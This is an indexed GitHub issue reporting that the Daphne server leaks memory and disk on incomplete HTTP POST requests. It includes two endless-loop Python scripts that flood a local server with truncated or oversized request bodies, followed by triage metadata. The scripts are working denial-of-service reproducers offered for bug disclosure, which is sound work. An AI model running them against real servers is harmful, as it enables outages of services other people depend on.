Persistent Memory and Disk leak
- Dominant language
- Python
- Stars
- 2.7k
- Forks
- 292
- Avg merge
- 2d 15h
- Merged PRs (30d)
- 3
Description
Daphne does not seem to clean up after incomplete HTTP POST requests.
Back story: Twisted handles POST requests by saving the body to either the disk or memory, depending on the expected Content-Length. Normally this would be cleaned up when the request is finished. This cleanup does not seem to happen in Daphne.
Memory leak:
```
import socket
while True:
print('Sending payload')
init_payload = b"""POST / HTTP/1.1\r\nHost: 127.0.0.1:8000\r\nContent-Length: 99999\r\n\r\n"""
pl = b'a'*99998
s = socket.create_connection(('127.0.0.1', 8000))
s.sendall(init_payload)
s.sendall(pl)
s.close()
```
Disk leak:
```
import socket
while True:
print('Sending payload')
init_payload = b"""POST / HTTP/1.1\r\nHost: 127.0.0.1:8000\r\nContent-Length: 2000000000\r\n\r\n"""
pl = b'a'*9999
s = socket.create_connection(('127.0.0.1', 8000))
s.sendall(init_payload)
for _ in range(200000):
s.sendall(pl)
s.close()
```
My suggestion is to fix the bug and recommend not exposing a Twisted Web server directly to the internet. Even the default Twisted Web can be taken down with something like this although it requires a bit more persistence.
Side-note: I'm not sure what http_timeout does....
Contributor guide
No contributing guide indexed for this repository
Research direction
Reproduce the incomplete HTTP POST cases described in the issue and trace Daphne's request-body handling, including the mentioned http_timeout behavior. Identify where Twisted's memory- or disk-backed body is retained after the socket closes, then verify that repeated interrupted requests no longer accumulate resources.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- python
- Domain
- backend, networking
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Stale
- Clarity
- Mostly clear
- Newbie friendliness
- 35/100